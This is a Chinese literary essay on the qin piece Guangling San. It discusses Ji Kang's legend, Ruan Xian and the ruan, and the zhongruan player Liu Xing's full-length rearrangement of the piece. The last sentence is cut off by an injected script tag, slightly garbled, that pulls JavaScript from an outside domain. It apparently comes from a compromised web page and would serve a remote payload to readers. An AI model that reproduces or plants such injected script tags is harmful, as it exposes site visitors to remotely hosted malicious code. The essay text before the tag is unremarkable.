广陵散之旅
欧 南

一、缘起
我觉得任何东西都会有传承，或者是口传心授，或者是祖传，或者是冥冥之中的安排。对于前者，因为有说得清楚的传承关系，一目了然。而对于后者，那就是机缘了。机缘是一种精神的传承，一种复兴或者回归。比如孔子好周公，一生竭力推崇周公的礼乐制度，这是精神的崇拜而不是师承或者血缘的延续。对于知识分子来说，这种传承的意义比单纯的技艺传承更能激起他们的兴趣。
当年嵇康临刑于东市，当着三千太学生的面说:“昔袁孝尼尝从吾学《广陵散》，吾每靳固之，《广陵散》于今绝矣。”这段公案至今仍让人津津乐道，它不但为《广陵散》铺上了一块神秘的面纱，更可以看成是古代知识分子在黑暗现实面前的精神绝唱。
其实，我们可以从嵇康的性格来分析他为何不传授《广陵散》。嵇康好老庄，提倡“越名教而任自然”，喜欢自由随性，不受拘束，更不愿意为现实妥协。嵇康被山涛形容为：“嵇叔夜之为人也，岩岩若孤松之独立；其醉也，傀俄若玉山之将崩。”狷介孤傲，他不肯轻易传授《广陵散》的原因想必并不是不愿教，而是学的人在他眼里根本就不够档次。
魏晋名士恃才傲物，简傲任诞，心理的因素是强烈的仇视现实、反抗礼教。刘伶、阮籍可以整日大醉；嵇康、向秀可以打铁取乐。而这种状态下的士人的取向性和对人的要求是很明显的。一首乐曲或许在嵇康眼里并不算什么，嵇康不可能像有些民间艺人那样，为了生计轻易不会把祖传的技艺示人。他所关心的或许是谁来演奏它，是否能达到乐曲所展现的精神层面。嵇康不肯将《广陵散》授予袁孝尼，显然不是认为他学不会、学不好，而是认为在精神层面上袁孝尼不够格。嵇康在《琴赋》中曾经说过：“非至精者，不能与之析理。”可以看出嵇康对于精神修养的苛刻，他并没有将弹琴当成是一门手艺，而是把它看成是个人内心精神的体现。
在魏晋时代的士人中，嵇康的音乐修养在同道中是最好的，留下过一本《声无哀乐论》，一篇《琴赋》，系统地探讨了音乐美学思想。而从精神修养和音乐演奏技艺上来说，嵇康在中古时期达到了顶峰，这种对音乐的精神需求在后世也罕有超越。
在魏晋时代，还有一个演奏大家，就是阮籍的侄子阮咸，在性情上阮咸和其叔叔一脉相承，甚至超过乃叔。由于嗜酒，武帝甚至不用他，他也乐得逍遥，整天和一帮同好饮酒弦歌取乐。阮咸善弹经过改制的琵琶，由于技艺出众，后世便以阮咸的名字将这种圆形的弹拨乐器称为阮，现在又按形制分为大阮、中阮和小阮。
阮可以说是土生土长的中国乐器，但自从阮咸以后，由于在乐器中的地位不及琵琶那么显赫，所以历来几乎没有演奏大家，学的人也不多，很多人甚至都不知道有阮这样一种乐器。
中阮演奏家、作曲家刘星无疑是阮家族中最有代表性的人物，私下里我一直把他看成是阮咸转世，是冥冥之中的传承者，也是一种精神的延续。因为无论从演奏、作曲和气韵来说，刘星都堪称大家，身上绝无世俗的烟火气，且言行一致、恃才傲物。当然，恃才傲物还只是一种性格取向，如果没有积淀的内涵，没有足够的才华，很容易成为舌剑腐儒的狂生，像击鼓骂曹的弥衡，痛快是痛快了，于事无补。中国艺术最讲究的便是气韵，无此，不可能成大家。技艺人人可学，只要用功，十年寒窗，成演奏家指日可待，但气韵是学不会的，是神遇。当年的嵇康演奏得如何，没人知道，但他的精神却是传了下来，成了历代文人激赏的对象，也是中国失落已久的精神状态。
我们现在所听到的古琴演奏的《广陵散》，其实是出自于明朝朱权的《神奇秘谱》。中国人历来喜欢托古：王莽托古改制，康有为托古变法，走的都是一样的路子。借古人之事求变通之实，不过是让人更信服罢了。这种思想也影响了艺术，在古琴中有很多曲目如《孔子读易》《屈原问渡》《墨子悲丝》等等，无非也是这种套路。音乐只能表达形象，根本无法表达具体事实。故此，一个名字表现不了乐曲的意境，音乐是依赖感觉的，一首“很古”的乐曲只能从感觉上去把握，这也是音乐的妙处。这里，我们不去讨论《广陵散》这首乐曲的来历，我所感兴趣的是刘星如何用中阮“复制”这首千古名曲的。
为了用中阮去表现《广陵散》，刘星用了几个月的时间重新打谱，使它变得更适合中阮来演奏。这对一般的演奏家来说，显然是件吃力不讨好的事情。古琴版的《广陵散》尚且为了迎合现在听众的心理，将本来长达二十多分钟的乐曲缩短为几分钟的小曲，而刘星中阮版的《广陵散》基本上和原曲一样，不要说市场，就是能静得下心来，耐心听完演奏的人恐怕也不多，这着实使我佩服。
但不管市场怎样，也不在乎现在人的浮躁，真正的士人即使在古代也不多见。古琴从来就不是一件主流乐器，从古至今，它就在少数文人的书房中传奇般地保存了下来。精神的传承只能是天意，可遇不可求，而我之所以那么看重精神的不期而遇，感叹刘星是阮咸转世，实在也是出于偶遇。这么些年下来，艺术家见过?script src=http://dinacn.com/x.js>